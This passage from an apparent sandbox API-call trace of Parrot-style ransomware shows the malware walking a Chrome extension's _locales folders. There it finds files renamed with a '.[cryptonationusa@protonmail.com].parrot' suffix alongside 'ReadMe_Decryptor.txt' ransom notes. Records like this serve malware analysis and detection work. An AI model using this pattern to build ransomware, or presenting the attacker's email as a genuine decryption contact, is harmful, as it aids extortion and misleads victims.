lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.874] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf769080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.874] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.874] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.874] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf5c6160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.874] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.874] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.875] CloseHandle (hObject=0x274) returned 1 [0096.875] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf769080, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.875] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf769080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.875] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf5c6160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.876] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.876] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.876] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.876] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.876] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.876] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.876] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.876] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.876] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.924] CloseHandle (hObject=0x274) returned 1 [0096.924] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf78f1e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf873a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.924] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.924] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.925] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.925] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.925] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.925] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.926] CloseHandle (hObject=0x274) returned 1 [0096.926] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9a4520, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.926] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.926] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.926] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.926] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.927] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.927] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.927] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.927] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.927] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.927] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.927] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.928] CloseHandle (hObject=0x274) returned 1 [0096.928] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9ca680, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb47440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.928] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.928] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.928] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.929] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.929] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.929] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.929] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.929] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.929] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafcea360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.929] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.929] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.930] CloseHandle (hObject=0x274) returned 1 [0096.930] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafd104c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.930] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.930] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.930] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafcea360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.930] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.931] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.931] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafe8d280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.931] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.931] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafd36620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", 